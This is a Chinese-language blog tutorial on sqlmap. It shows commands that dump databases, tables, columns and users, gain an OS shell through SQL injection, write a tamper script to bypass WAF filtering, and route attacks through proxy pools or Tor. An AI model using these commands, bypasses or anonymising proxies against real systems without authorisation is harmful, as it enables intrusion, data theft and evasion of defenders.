zoukankan      html  css  js  c++  java
  • SQLMAP简单使用方法

    00x1 SQL注入简单判断

    使用'或/来判断是否存在SQL注入

    00x2 SQLMAP的简单使用

    1.常用语句

    sqlmap -u http://example.com --dbs #跑出数据库
    sqlmap -u http://example.com -D 数据库名 --tables 跑出指定 数据库的表
    sqlmap -u http://example.com -D 数据库名 -T 表名 -- columns 跑出指定表的列名
    sqlmap -u http://example.com -D 数据库名 -T 表名 -- columns 跑出指定表的列名
    #如果存在两个以上的参数,url要加上引号。
    

    2.常用命令

    --users #列举数据库管理系统中的用户 
    --is-dba #检测当前用户是否是管理员 
    --os-shell #模拟一个可以执行任意命令的shell 
    --os-cmd #执行命令 
    -current-user #列举当前用户 
    risk 1 #风险等级 
    level 1 #检测级别 
    -proxy =http:// #设置代理 
    -batch #非交互模式 
    -p #指定sql注入点
    

    3.SQLMAP中文手册

    中文手册

    00x3 SQLMAP tamper的编写

    1.tamper介绍

    使用tamper脚本可在一定程度上避开字符过滤,绕过waf

    2.tamper 结构

    1.PRIORITY:PRIORITY是定义tamper的优先级,如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper

    2.dependencies:dependencies主要是提示用户,这个tamper支持哪些数据库

    3.tamper:tamper这个函数是tamper最重要的函数,你要实现的功能,全部写在这个函数里payload这个参数就是sqlmap的原始注入payload,我们要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果你bypass,是通过修改http头,就需要用到这个

    3.tamper编写

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
    See the file 'doc/COPYING' for copying permission
    Author:J8sec.com
    """
    
    from lib.core.enums import PRIORITY
    from lib.core.common import singleTimeWarnMessage
    from lib.core.enums import DBMS
    import os
    
    __priority__ = PRIORITY.LOW
    
    def dependencies():
        singleTimeWarnMessage("Bypass b.0 '%s'  %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
    
    #其中#为用于替换原字符的字符
    def tamper(payload, **kwargs):
        payload=payload.replace('AND','#')
        payload=payload.replace('UNION','#')
        payload=payload.replace('SELECT','#')
        payload=payload.replace('FROM','#')
        payload=payload.replace('WHERE','#')
        payload=payload.replace('GROUP','#')
        payload=payload.replace('IN','#')
        return payload
    

    写完tamper后将tamper.py放入SQLMAP根目录下的tamper目录中

    4.SQLMAP参数语句

    --tamper=tamper
    

    00x4 SQLMAP代理

    自己写或者去GitHub上找

    思路:爬取网上公开代理,再把代理用SCOKET服务或HTTP服务与本地端口连接起来

    SQLMAP参数语句

    --proxy=http://127.0.0.1:9999  #代理池
    sqlmap.py -u http://example --tor -tor- type=SOCKS5 --tor-port=9050 --check-tor #tor代理
    
  • 相关阅读:
    NOIP2018 复赛提高组一等奖获奖名单
    JZOJ 5222. 【GDOI2018模拟7.12】A(权值线段树)
    NOIP2018 提高组复赛成绩-广东
    NOIP2018 总结
    NOIP 复赛注意事项
    JZOJ 5168. 冲击哥(贪心)
    数据库
    估计理论简介
    KMP
    从上到下按层打印二叉树,同一层结点从左至右输出。每一层输出一行。
  • 原文地址:https://www.cnblogs.com/-Anguvia-/p/13188326.html
Copyright © 2011-2022 走看看